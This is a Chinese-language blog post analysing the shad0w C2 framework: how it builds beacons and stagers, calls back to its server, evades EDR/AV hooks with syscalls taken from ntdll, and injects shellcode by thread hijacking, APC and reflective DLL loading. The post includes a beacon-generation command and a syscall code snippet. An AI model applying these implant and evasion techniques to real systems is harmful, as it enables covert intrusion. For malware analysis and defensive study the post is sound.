
链接:https://github.com/bats3c/shad0w/
注:本文仅做技术分享,切勿用于非法用途!违法必抓!

python3 shad0w.py beacon -p x64/windows/secure -H 192.168.1.81 -f exe -o beacon.exe
payload 分为两种:
1、x64/windows/secure 分步加载
2、x64/windows/secure/static 直接生成beacon

get_payload_variables函数是对传入的payload参数进行提取,提取出4个变量
1. self.arch 位数(x64,x86)
2. self.platform 环境windows
3. self.secure 是否启用保护
4. self.static 是否直接生成beacon


由上面提取的static变量判断是否分步执行,如果static为null,则将stager目录下的所有文件拷贝到build里面。

并更新配置信息,更新的主要为
_C2_CALLBACK_ADDRESS 回连ip
_C2_CALLBACK_PORT 回连端口

下一步为编译build里面的内容,
1、如果使用了secure,则会在makelist中添加宏变量secure(此变量用处为beacon中启用syscall)
2、_crypt_strings 会异或加密函数名并将加密后字符串和key写入到strings.h
3、使用make编译stager

最后,payload_format.create函数中将stager变成shellcode

根据输出结果对输出内容进行判断,如果为raw直接生成shellcode,exe 是先生成shellcode,再将shellcode写入一个加载器编译成exe,dll也是一样。

shellcode生成是使用donut这个项目




静态是将src或者injectable目录的代码拷贝到build编译生成,后面步骤和上面一样。(经测试src生成的beacon功能存在bug,此处我直接使用injectable中代码生成beacon)

stager代码再beacon/stager下

stager功能代码较为简单
第一步、向服务器请求beacon
简单说是使用winhttp库发起https请求
向/stager发起post请求,参数是payload=x64/windows/secure/static(定义了secure)或payload=x64/windows/static(没有secure)(x64,x86是根据系统位数判断)

beacon会在shad0w启动listen时生成


过程和第一步生成stager的时候一样,不过生成的位置是在/tmp/beacon_id/build下面。生成的exe转成shellcode进行base64编码会存入shad0w.payloads"x64_secure_static"。


服务端是使用flask启动的服务器,会在控制端请求/stager返回shad0w.payloads["x64_secure_static"]["bin"]的内容。
第二步、使用shellcode加载器加载beacon

第一步、收集用户信息、 NetBIOS

首先获取sid,后通过sid获取username、domain

获取机器的位数、系统版本、是否编译时定义secure

第二步向服务端注册信息


向/register 发送上面收集的信息(username、domain、netbios、位数、系统版本、是否开启secure)

会将服务端返回的id记录在IdBuffer中。

服务端会记录用户信息,机器信息并生成beacon_id,返回beacon_id 第三步 会根据sleep休眠时间定期向服务端发送心跳包。

心跳包发送的方式为



向/tasks发起请求,参数为之前获取的beacon_id

解析返回结果。task用于后续用于判断执行方式。
InjectExecuteCode:注入shellcode于一个运行的进程。
SpawnExecuteCode: 新启一个进程注入shellcode
Stdlib:自带库。
InjectExecuteDll:反射型dll注入注入dll。
args为后续操作执行的内容。


服务端处理


在请求中获取beacon_id。opcode, data是在后续执行命令时获取,心跳包控制端只传递beacon_id。

opcode为0, data为空 即心跳包传递。

返回存活状态和task(0x1000)。(在beacon中0x1000为跳出)


shad0w使用的syscall的方式并不是硬编码,而是在程序执行开始时读取ntdll并将其写入到内存,从而实现避免被edr/av hook。

先看一个函数使用syscall执行的流程。

ParseNtdll(&NtdllInfo, &rSyscall);
MakeSyscall("NtOpenThread", NtdllInfo.pExprtDir, NtdllInfo.lpRawData, NtdllInfo.pTextSection, NtdllInfo.pRdataSection, SyscallStub);
rSyscall.NtOpenThread(&hThread, PROCESS_ALL_ACCESS, &ObjectAttributes, &uTid);
CleanSyscall(SyscallStub);


说一下syscall执行的流程
1. 在程序执行开始时将ntdll.dll写入内存
2. 解析ntdll的.text,.rdata节:
.text里面存储导出函数执行的代码 .rdata里面存储的是导出函数的名称
3. 在内存中找到要调用的函数(比如:NtOpenThread),将其拷贝到内存其他位置
4. 声明函数原型
5. 定义函数类型的变量指向内存,通过变量调用系统调用。

首先通过进程的pid打开进程。
将内存属性更改为可读可写,将shellcode拷贝到内存。
改为内存属性为可读可写可执行。
获取当前线程的句柄,挂起线程。
获取目标线程的上下文
设置rip(程序指令寄存器)的地址为shellcode的地址
恢复线程
shellcode执行

创建匿名管道,创建线程从匿名管道读取结果,向服务端发送结果。


2.创建进程,在进程中分配内存,写入shellcode,apc注入执行


这个是控制端自写的一些功能,主要是从服务端接受命令并进入相应的函数去执行。这个在将命令模块的时候再具体介绍。
1、这个函数主要是通过pe文件格式解析导出表,找到ReflectiveLoader函数的入口点地址。2、通过前面InjectExecuteCode方法的挂起线程,将程序寄存器(rip)地址改成ReflectiveLoader函数的地址。3、ReflectiveLoader会恢复dll在内存中的位置从而执行。


对shad0w的命令模块还没有进行介绍。
1. 命令模块存在一些bug
2. 大量的模块都是通过将exe转成shellcode,再通过SpawnExecuteCode的方式执行,需要将一些常用的模块二次开发后再进行介绍。
3. 目前已经重写upload,download模块。
4. 后续添加shell执行命令的模块,将shellcode加载部分更改加载方式,不使用在其他进程中加载。
如果想跟我一起讨论的话,就快加入我的知识星球吧。星球里有一千多位同样爱好安全技术的小伙伴一起交流!






